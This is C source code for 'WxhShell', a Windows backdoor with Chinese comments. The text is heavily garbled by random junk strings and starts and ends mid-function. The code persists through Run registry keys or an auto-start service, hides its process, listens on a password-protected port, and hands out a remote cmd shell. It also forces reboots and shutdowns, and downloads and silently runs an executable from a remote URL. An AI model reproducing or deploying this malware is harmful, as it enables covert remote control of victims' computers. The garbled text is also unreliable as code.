yz2(_@R PROCNTQSIP NtQueryInformationProcess; /\~l1.6` R;%^j=Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NOV.Bs{
yL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8:~b
&> miPmpu! HANDLE hProcess; 8`a,D5U: PROCESS_BASIC_INFORMATION pbi; S3; lKr wI*Y{J HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ozm; if(NULL == hInst ) return 0; qZ#!CPHS : sFo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &ryiG g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [
ynuj3G
V NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); av)?>J~; $kv@tzO if (!NtQueryInformationProcess) return 0; {Wh BoD (Bsw/wv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); STw oYn if(!hProcess) return 0; bea|?lK t~q?lT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )TM!ms+K %U-Qsy8|D) CloseHandle(hProcess); $]Jf0_ 5|5=Y/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A^8x1ydZ if(hProcess==NULL) return 0; FbmsN)mv!% ekrBNDs9 HMODULE hMod; nYhp`!W4; char procName[255]; s~=g*99H unsigned long cbNeeded; KLW&bJ$|j S3QaYq"v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1}`2\3, rJX\6{V!_ CloseHandle(hProcess); !F-sA: xq _;#9!"& if(strstr(procName,"services")) return 1; // 以服务启动 Gj)uyjct *]>])ms) return 0; // 注册表启动 9+t=| }
K,6OGsh C]M7GHe1q // 主模块 &"xQ~05
int StartWxhshell(LPSTR lpCmdLine)
o7J{+V { E_]k>bf\ SOCKET wsl; Xh`" BOOL val=TRUE; loLKm]yV int port=0; }Iip+URG struct sockaddr_in door; g(nK$,c 0juDuE? if(wscfg.ws_autoins) Install(); (V8?,G > %TDXF_.[ port=atoi(lpCmdLine); J,9%%S8/C ;|;iCaD a+ if(port<=0) port=wscfg.ws_port; 1b8c67j[ Jb9F=s+ WSADATA data; Fk aXA.JE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v:?o3
S 9Eu #lV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sLZ>v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8sH50jeP door.sin_family = AF_INET; B O]=vH door.sin_addr.s_addr = inet_addr("127.0.0.1");
] ;&"1A door.sin_port = htons(port); dok)Je JS PW>W" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w1cw1xX* closesocket(wsl); brfKd]i return 1; Ms,@t^nk } >J>>\Y(p lAz2%s{6 if(listen(wsl,2) == INVALID_SOCKET) { I
ld7}R closesocket(wsl); g1ytT%] return 1; dGU8+)2cn } K0v.3 Wxhshell(wsl); ?3Pazc]+| WSACleanup(); JA< :K0 jAZ >mo[ return 0; H }B2A" Jl_~_Z } r,Ds[s)B v~f'K3fLp // 以NT服务方式启动 <&6u]uKrW VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D,E$_0 { y~dB5/ DWORD status = 0; =tn Tdp0F DWORD specificError = 0xfffffff; 9{$8\E9*nd (uRZxX serviceStatus.dwServiceType = SERVICE_WIN32; "Tv:*L5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; `[OXVs,7" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W"|mpxp serviceStatus.dwWin32ExitCode = 0; =&N$Vqn serviceStatus.dwServiceSpecificExitCode = 0; -<PC"B serviceStatus.dwCheckPoint = 0; Vha'e3o! serviceStatus.dwWaitHint = 0; 4T%cTH:.9N 3(C :X1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _F^$aZt?e if (hServiceStatusHandle==0) return; @UV{:]f~e 2uEhOi0I status = GetLastError(); bQ"N
;d)e if (status!=NO_ERROR) 6< >SHw { ]Z/R!y?l"G serviceStatus.dwCurrentState = SERVICE_STOPPED; ` zY!`G serviceStatus.dwCheckPoint = 0; DRp&IP< serviceStatus.dwWaitHint = 0; F3Ap1-%z serviceStatus.dwWin32ExitCode = status; OT;cfkf7 serviceStatus.dwServiceSpecificExitCode = specificError; -zTEL(r SetServiceStatus(hServiceStatusHandle, &serviceStatus); BJgDo return; $o"g73`3 } SOs,) rd">JEK;; serviceStatus.dwCurrentState = SERVICE_RUNNING; rw]yKH serviceStatus.dwCheckPoint = 0; XGhwrI ^ serviceStatus.dwWaitHint = 0; xHe^"LL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VGB-h' } VKNp,Lf Z}+yI, // 处理NT服务事件,比如:启动、停止 6"+8M 3M l VOID WINAPI NTServiceHandler(DWORD fdwControl) /BT1oWi1y { =U
c$D* switch(fdwControl) C.(
yd$, { f1J%]g! case SERVICE_CONTROL_STOP: r6MB"4xd serviceStatus.dwWin32ExitCode = 0; V_f`0\[x serviceStatus.dwCurrentState = SERVICE_STOPPED; =hGJAU serviceStatus.dwCheckPoint = 0; '#<> "| serviceStatus.dwWaitHint = 0; Y&g&n o_ { 1}nm2h1 I SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oy%Im8.-A# } :!']p2B return; :~D];m case SERVICE_CONTROL_PAUSE: U!0E_J serviceStatus.dwCurrentState = SERVICE_PAUSED; hbfsHT break; ;_N"Fdl case SERVICE_CONTROL_CONTINUE: :3 y_mf> serviceStatus.dwCurrentState = SERVICE_RUNNING; <sc\EK break; x6%#wsvS case SERVICE_CONTROL_INTERROGATE: {xToz]YA break; Ye@t_,)x }; n,sY\=vB SetServiceStatus(hServiceStatusHandle, &serviceStatus); `m, Ki69. } N+J>7_k HCazwX // 标准应用程序主函数 nE7JLtbH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (6clq:c7j { ;'^, ,{ )2V@ p~k? // 获取操作系统版本 GI_DhU]~) OsIsNt=GetOsVer(); !oGQ8 e GetModuleFileName(NULL,ExeFile,MAX_PATH); ?+\E3}: ($SLb6 // 从命令行安装 7E~4)k0< if(strpbrk(lpCmdLine,"iI")) Install(); ?:/|d\,7@ <m]wi7 // 下载执行文件 n_9x"m$ if(wscfg.ws_downexe) { F@EJtwLd5y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >A=\8`T^ WinExec(wscfg.ws_filenam,SW_HIDE); (bvoF5% } nB&j
R04J3D| if(!OsIsNt) { > 0T
Za // 如果时win9x,隐藏进程并且设置为注册表启动 SX_4=^ HideProc(); H(&Z:{L StartWxhshell(lpCmdLine); t!t=|JNf{ } 6v>z h else \igaQ\~ if(StartFromService()) oCuV9dA. // 以服务方式启动 Hm4bN\% StartServiceCtrlDispatcher(DispatchTable); 2yxi= XWZ else Up|f=@= // 普通方式启动 c3W
BALdh StartWxhshell(lpCmdLine); CC#C kc Y,vl return 0; PUCx]5 } ~K`1 bjzx!OCpV Bm}iU~(Z` nh0&'hA =========================================== agT7=hX]. j3 P$@< CjKRP;5 ?bI?GvSh J3IRP/*z !Rqx2Q " ~-<:+9m EY$?^iS #include <stdio.h> DY.58IHg1 #include <string.h> LM6]kll #include <windows.h> eXG57<t ON #include <winsock2.h> pBU]=[M0 #include <winsvc.h> k FLT!k #include <urlmon.h> }NwN2xTB "@)lH #pragma comment (lib, "Ws2_32.lib") ?d5h9}B #pragma comment (lib, "urlmon.lib") L$hc, R@n5AN( #define MAX_USER 100 // 最大客户端连接数 rJV?)=Z #define BUF_SOCK 200 // sock buffer s0lYj@E' #define KEY_BUFF 255 // 输入 buffer .eY`Ri<3t 2kJ!E@n7 #define REBOOT 0 // 重启 u>o<tw%Y #define SHUTDOWN 1 // 关机 zt?H~0$LB #HG&[Ywi #define DEF_PORT 5000 // 监听端口 W>$BF[x!{ G#lg|# -# #define REG_LEN 16 // 注册表键长度 !g2a|g #define SVC_LEN 80 // NT服务名长度 H+`*Y<F@ j ug'g // 从dll定义API v$3_o : typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SUu >6'LN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >a@>N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +?V0:Kz] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i~8DSshA rKp1%S1 // wxhshell配置信息 &CUC{t$VHX struct WSCFG { 0'@u!m? int ws_port; // 监听端口 >?V<$>12 char ws_passstr[REG_LEN]; // 口令 )&z4_l8`= int ws_autoins; // 安装标记, 1=yes 0=no Pi){ h~B> char ws_regname[REG_LEN]; // 注册表键名 L#ZLawG char ws_svcname[REG_LEN]; // 服务名 (3O1?n[n char ws_svcdisp[SVC_LEN]; // 服务显示名 KII ym9% char ws_svcdesc[SVC_LEN]; // 服务描述信息 5~[N/Gl char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~6sE an3p int ws_downexe; // 下载执行标记, 1=yes 0=no Lzz)n%y5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" waQtr,m) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PkJcd-> 4#h?Wga }; +5-fk>o ZpWu,1 // default Wxhshell configuration i@6wO?Tv struct WSCFG wscfg={DEF_PORT, $3 vhddO "xuhuanlingzhe", }{mG/(LX8 1, n^Vxi;F "Wxhshell", ymkR! "Wxhshell", o8tS "WxhShell Service", |[ocyUsxX "Wrsky Windows CmdShell Service", `j:M)2:*y "Please Input Your Password: ", W>:kq_gT 1, *%?d\8d "http://www.wrsky.com/wxhshell.exe", Mciq-c) "Wxhshell.exe" Y}/c
N\ }; gVA; `< =)*JbwQ
// 消息定义模块 .+vd6Uc5a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *]2R.u char *msg_ws_prompt="\n\r? for help\n\r#>"; %A2`&:ip char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x<
S\D& char *msg_ws_ext="\n\rExit."; !o<ICHHH char *msg_ws_end="\n\rQuit."; u}m.}Mws char *msg_ws_boot="\n\rReboot..."; :MBS>owR char *msg_ws_poff="\n\rShutdown..."; >b43%^yii char *msg_ws_down="\n\rSave to "; n$
dw<y ?@3&dk~ni char *msg_ws_err="\n\rErr!"; zp#:EZ char *msg_ws_ok="\n\rOK!"; B.6`cM^ phS>T char ExeFile[MAX_PATH]; ]v GgJ< int nUser = 0; @?d?e+B HANDLE handles[MAX_USER]; LfllO int OsIsNt; (Y )!"_| yLB~P7K SERVICE_STATUS serviceStatus; `oVB!eapl SERVICE_STATUS_HANDLE hServiceStatusHandle; Rn;VP:H M ]?#
#))RUS // 函数声明 `VXZ khm int Install(void); */Cj$KY70 int Uninstall(void); 7t3X`db int DownloadFile(char *sURL, SOCKET wsh); ^r4|{ int Boot(int flag); iN`6xkY void HideProc(void); 0[i}rC9& int GetOsVer(void); V Y_f = int Wxhshell(SOCKET wsl); 1vsu[n void TalkWithClient(void *cs); 6}STp_x int CmdShell(SOCKET sock); C d|W#.6 int StartFromService(void); KK$ a;/ int StartWxhshell(LPSTR lpCmdLine); [
t$AavU. 4(8<w cL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FW5}oD(H VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZMe}M!V ssT@<Tk^4 // 数据结构和表定义 K9*IA@xL SERVICE_TABLE_ENTRY DispatchTable[] = 9M]^l, { oR#my ^ {wscfg.ws_svcname, NTServiceMain}, qPUA!-' {NULL, NULL} p_9g|B0D }; hbH#Co~o4# "8?TSm8 // 自我安装 :Dj#VN int Install(void) -~}
tq] { wsI5F&R, char svExeFile[MAX_PATH]; UFIjW[h HKEY key; L&'l3| strcpy(svExeFile,ExeFile); b@!:=_Mr DU`v J2 // 如果是win9x系统,修改注册表设为自启动 )6 k1 P if(!OsIsNt) { CdNih8uG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `$M
etQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?eVj8 $BQo RegCloseKey(key); ~hzEKvs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ", QPb3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X+%u(>> RegCloseKey(key); 1EuK,:x return 0; +xq=<jy } ,$ mLL } w_GLC%|7 } (Wn
"3
] else { 97(n\Wt2 jP7w6sk
E // 如果是NT以上系统,安装为系统服务 k5C>_(
A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _\!0t if (schSCManager!=0) @~hz_Nm@8 { 5c)<'EP SC_HANDLE schService = CreateService rX:1_q`xA ( ff[C' schSCManager, OFQ{9 wscfg.ws_svcname, juXC?2c wscfg.ws_svcdisp, ze
?CoDx2 SERVICE_ALL_ACCESS, n-W?Z'H{r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xp(mB7;: SERVICE_AUTO_START, m qpd SERVICE_ERROR_NORMAL, [C2kK *JZ svExeFile, l=,.iv=W NULL, $=lJG(2% NULL, .1 Vu-@ NULL, 1aVgwAI
NULL, s
8Jj6V NULL unpfA#&!" ); wD}EW if (schService!=0) A=W5W5l(> { \ x:_*`fU CloseServiceHandle(schService); V54q"kP,@. CloseServiceHandle(schSCManager); c_t7RWV} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y5Ft96o))x strcat(svExeFile,wscfg.ws_svcname); roL}lM$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I51M}b,[d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FU'^n6[<B RegCloseKey(key); {Qm6?H return 0; ?F9hDLX } O-?z' @5cI } f x%z|K CloseServiceHandle(schSCManager); EmF]W+!z% } FW/)uf3I } A<a2TXcIE3 [GOX0}$? return 1; NavOSlC+h } <
rv1IJ j\nE8WH // 自我卸载 WT I 'O int Uninstall(void) .HQVj 'g { 9&&kgKKGQ HKEY key; xu`d`!Tx Vvx a.B if(!OsIsNt) { 'T6B_9GQ8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Feh"!k <6k RegDeleteValue(key,wscfg.ws_regname); </8be=e7p RegCloseKey(key); {V{0^T- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5c*p2:] RegDeleteValue(key,wscfg.ws_regname); r*c82}tc RegCloseKey(key); )`e^F9L return 0; -,[~~ } _!|=AIX } <XU8a:w'T } u=1B^V,6V else { 5?D1][ q#l.A?rK\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =ZFcxGo if (schSCManager!=0) X+/{%P!w { Jii?r*"d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -WQ_[t9l if (schService!=0) uPM8GIvZX. { Wdei`u[ if(DeleteService(schService)!=0) { iH($rSE CloseServiceHandle(schService); K]*g, s+ CloseServiceHandle(schSCManager); *Pa2bY3: return 0; &n}8Uw0440 } vcaBL<io CloseServiceHandle(schService); {yGZc3e1j } Kc%tnVyGh: CloseServiceHandle(schSCManager); {vf+sf^^q } G~Sy&XJuq } aOaF&6'j N02zPC
8 return 1; %ZJ),9+ } ';i"?D?NAk \=HfO?$ Ro // 从指定url下载文件 @1/Q int DownloadFile(char *sURL, SOCKET wsh) K7)j { ,Zf
:R HRESULT hr; Y*]l|)a6_] char seps[]= "/"; =U)n`#6_j2 char *token; IwZZewb-a char *file; qz-#LZFTR char myURL[MAX_PATH]; &':UlzG char myFILE[MAX_PATH]; /zChdjz t;Fbt("]: strcpy(myURL,sURL); COxZ
Q token=strtok(myURL,seps); @n5;|`)\ while(token!=NULL) *[XN.sb8E { xCDA1y;j file=token; Fh*q]1F token=strtok(NULL,seps); XHwZ+=v } HV#?6,U} O>)n*OsS GetCurrentDirectory(MAX_PATH,myFILE); G2U5[\ strcat(myFILE, "\\"); !UUmy% 9 strcat(myFILE, file); awj} K send(wsh,myFILE,strlen(myFILE),0); :)^#
xE( send(wsh,"...",3,0); U*` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *K0j5dx if(hr==S_OK) *DPTkMQN return 0; zLJ:U`uh\ else I@y2HxM return 1; ~;!i)[- ="'rH.n # } $9j>VGf= n1k$)S$iiy // 系统电源模块 Wl9I`Itg int Boot(int flag) a#OhWqu$ { Vq)|gF[6i HANDLE hToken; #`YxoY ` TOKEN_PRIVILEGES tkp; z=- 8iks| [[.&,6 if(OsIsNt) { -KJ}.q>upq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` $QzTv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~/]\iOL tkp.PrivilegeCount = 1; GlV-}5W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;%b <uV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -.+KCt G$+ if(flag==REBOOT) { Y]`lEq% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h&:Q$*A> return 0; sqMNon`5 } softfjl&l else { '.}6]l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yNb#Ia return 0; utFcFdX } .:r2BgL } eEg1- else { \(
Gf+ if(flag==REBOOT) { goBKr: &]w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .SRuyioF& return 0; Qzs\|KS } ZmR[5 mv@ else { OyG_thX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7E\K!v_ return 0; +r#=n7t } 5Xy^I^J } K{r1&O>W dwf #~7h_ return 1; l9ch } %0y3 /W 0Tn|Q9R // win9x进程隐藏模块 ,h5-rw' void HideProc(void) JQ{zWJlt { Hc_hO U{za m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j
44bF/ if ( hKernel != NULL ) nIN%<3U2 { YiQeI|{oN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0.{oA`5N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FRJ:ym=E FreeLibrary(hKernel); #P,[fgNy } }77=<N br `pv89aO return; mw4'z,1Q } tl,x@['p` &d|VH y+ // 获取操作系统版本 EU&3Pdnd int GetOsVer(void) ,nu7r1} { ^%'tD OSVERSIONINFO winfo; >w]k3MC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w7*b}D@65\ GetVersionEx(&winfo); P/1UCITq} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |<+|Du1 return 1; L]L~TA<D9i else @e?[oojrM return 0; Oa_o"p<Lr } Kj1#R D0E"YEo\nv // 客户端句柄模块 6UzT]" LR; int Wxhshell(SOCKET wsl) j
O5:{% { ym,Ot1 SOCKET wsh;
`Hp.%G( struct sockaddr_in client; l)!woOt DWORD myID; ^hYR5SX YK=#$,6 while(nUser<MAX_USER) 65e
Wu=T { Ppo^qb int nSize=sizeof(client); ,ovv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (J;zk b if(wsh==INVALID_SOCKET) return 1; E 4$h%5 5 1CU@1Ie handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WNlSve)]ie if(handles[nUser]==0) lh(+X-}D closesocket(wsh); J^+$L"K else T~ q'y~9o nUser++; >-@{vyoOy } %OfDTs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b]qfcV />2$
XwP return 0; N mjBJ_G } ^D>M Dj6 5z(>4 d! // 关闭 socket @vYN7 void CloseIt(SOCKET wsh) E.Q}
\E { Z :i"|; closesocket(wsh); .Zo9^0`C nUser--; XL&eJ ExitThread(0); a ~iEps } 'N5r2JL[w t=pkYq5t8 // 客户端请求句柄 3=L1H ZH void TalkWithClient(void *cs) F>_lp,G {
E#X!*q& ~9/nx|%D SOCKET wsh=(SOCKET)cs; t-|=weNy char pwd[SVC_LEN]; n)?F
9Wap char cmd[KEY_BUFF]; o?
xR[N-J char chr[1]; bHH}x"d[x int i,j; !.GY~f<d$ Q,qylL while (nUser < MAX_USER) { O/r<VTOp A)p!w aG if(wscfg.ws_passstr) { "ZPbK$+=yU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D~ `YRbv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6;c{~$s~[ //ZeroMemory(pwd,KEY_BUFF); 96V, [-arf i=0; 3SB7)8Id1 while(i<SVC_LEN) { /z- C
:k\ S0QU@e // 设置超时 w.F3o4YP fd_set FdRead; u'n%BVt
struct timeval TimeOut; xXh]z| FD_ZERO(&FdRead); q\pc2Lh?^ FD_SET(wsh,&FdRead); Ex&RR< 5 TimeOut.tv_sec=8; (i~%4w= TimeOut.tv_usec=0; D
'_#?%3^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yiw^@T\H` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7X3l&J2C4l 7a.#F]` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Y0oo jD pwd=chr[0]; ;8xn"G0}a if(chr[0]==0xd || chr[0]==0xa) { `DY4d$!4 pwd=0; 3&d+U)E break; J-{E`ibGN } @5@{Es1u i++; T-cVM>u\D } GKDG5u; op{(mn // 如果是非法用户,关闭 socket 0QSi\: 1f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {1&,6kJF&9 } a}]@o" &aht K}u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lukRFN>c" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6h*bcb#C J3JRWy@?P while(1) { iQj{J1V E|}Nj}(* ZeroMemory(cmd,KEY_BUFF); j%<@uiu :[?o7%" // 自动支持客户端 telnet标准 V1V4 <Zj j=0; w [x+2 while(j<KEY_BUFF) { Z]+Xh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8l,hP . cmd[j]=chr[0]; [GT1,(}.
Z if(chr[0]==0xa || chr[0]==0xd) { mZ&Mj.0+~ cmd[j]=0; AhZ break; c oz}VMp } ]OUOL/J j++; 0#nXxkw } I8>1RXz `\uv+^x{ // 下载文件 @wZ_VE7B if(strstr(cmd,"http://")) { sbhEZ#7# send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^/YAokj if(DownloadFile(cmd,wsh)) 6Z}))*3 9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~PvzUT-^ else `d;izQ1_= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Yt&PE } At|tk else { \ku{-^7 AlhiF\+ C switch(cmd[0]) { ZDD|MH 5gEWLLDp // 帮助 8jx1W9=`9[ case '?': { 6 Izv& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PKG
,4v = break; hiM!htc;M } >#|Q,hVU5 // 安装 daNIP1Qn case 'i': { /;ITnG if(Install()) "Y0[rSz,UW send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' .<"jZ else KO"iauW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) O^08]Y g break; o~>go_Y } \F3t&: // 卸载 k3kqgR* case 'r': { aE$p;I if(Uninstall()) a5&j=3)| send(wsh,msg_ws_err,strlen(msg_ws_err),0); g>oLc6T else =h!m/f^x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oOz6Er[KO break; =Z$6+^L } >D aS*r // 显示 wxhshell 所在路径 @vh>GiR){ case 'p': { (8R
M|& char svExeFile[MAX_PATH]; l<6/ADuS strcpy(svExeFile,"\n\r"); Y{@[)M{< strcat(svExeFile,ExeFile); %s yBm send(wsh,svExeFile,strlen(svExeFile),0); K;lC# break; XITQB|C??$ } Z&!$G'X // 重启 v83 6nxL M case 'b': { ?g.w%Mf* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); giq`L1< if(Boot(REBOOT)) 2kve?/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); K.7gd1I else { `9gx-')]\ closesocket(wsh); jm"xf7 ExitThread(0); )9->]U@ } HOG7|| &y break; Z;:-8 HPDY } B~rK3BS // 关机 t|lv6-Hy9 case 'd': { 5.
i;IOx send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bc NYoZ8`
if(Boot(SHUTDOWN)) P&;I]2# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Pwq`G A else { VGIc|Q=F closesocket(wsh); >MH@FnUL ExitThread(0); Az[z} r4 } ,-Gw#!0 break; L|?tcic } %Et]w // 获取shell -:q7"s-}b case 's': { i/Z5/(zF CmdShell(wsh); * UC^&5: closesocket(wsh); na)_8r~ ExitThread(0); <^paRKEa+# break; {HeMdGn9 } kOO2 ?L|Z // 退出 2]wh1) case 'x': { ]&>)=b!, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /_8V+@im CloseIt(wsh); G39t'^ZK*# break; v\vn}/>*d } 8iRQPV-"_ // 离开 fkM4u<R^ case 'q': { Tj:F Qnx send(wsh,msg_ws_end,strlen(msg_ws_end),0); vvC GzOv closesocket(wsh); JAK*HA WSACleanup(); " B1' K8 exit(1); [cq>QMW break; W2^R$"U } "cx" d: } \b->AXe8 } Y/gCtSF o^D{WH\p // 提示信息 UpbzH(?# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (WC<X Kf } M-_)CR } sr4K-|@ ORNE>6J
H return; ~7v^7;tT } whshjl?a 2Xosj(H // shell模块句柄 _4+1c5Q! int CmdShell(SOCKET sock) ~n?U{
RmH { 5:wf"3%% STARTUPINFO si; 5VfP@{ ZeroMemory(&si,sizeof(si)); :([,vO: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _19k@a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A}8U;<\Ig PROCESS_INFORMATION ProcessInfo; |d$aISO` char cmdline[]="cmd"; #,sJd ^uI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +;T%7j"wz return 0; Z:}^fZP } 4(NI-|q0 ?d 4_'y
// 自身启动模式 YA jk' int StartFromService(void) PNq#o%q { f!<mI8H typedef struct Kmtr.]Nj { lU?"\m DWORD ExitStatus; 1EN5ZN, DWORD PebBaseAddress; W!g
, DWORD AffinityMask; I`|>'$E[r DWORD BasePriority; Ua4} dW[w ULONG UniqueProcessId; 1D$k:|pP~ ULONG InheritedFromUniqueProcessId; rqIt}(J } PROCESS_BASIC_INFORMATION; 9iUw7-) Uvp?HZ\Z PROCNTQSIP NtQueryInformationProcess; Q]\xO/ ?~$y3<[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j2z$kw% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <"-sN |67UN U HANDLE hProcess; *m7e>]- PROCESS_BASIC_INFORMATION pbi; ZISR]xay ,F1$Of/'@\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,xiRP$hGhh if(NULL == hInst ) return 0; wFe</U-'; W\Gg!XsLk g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -`( :L[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nv={.H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W{%M+a[#l 0
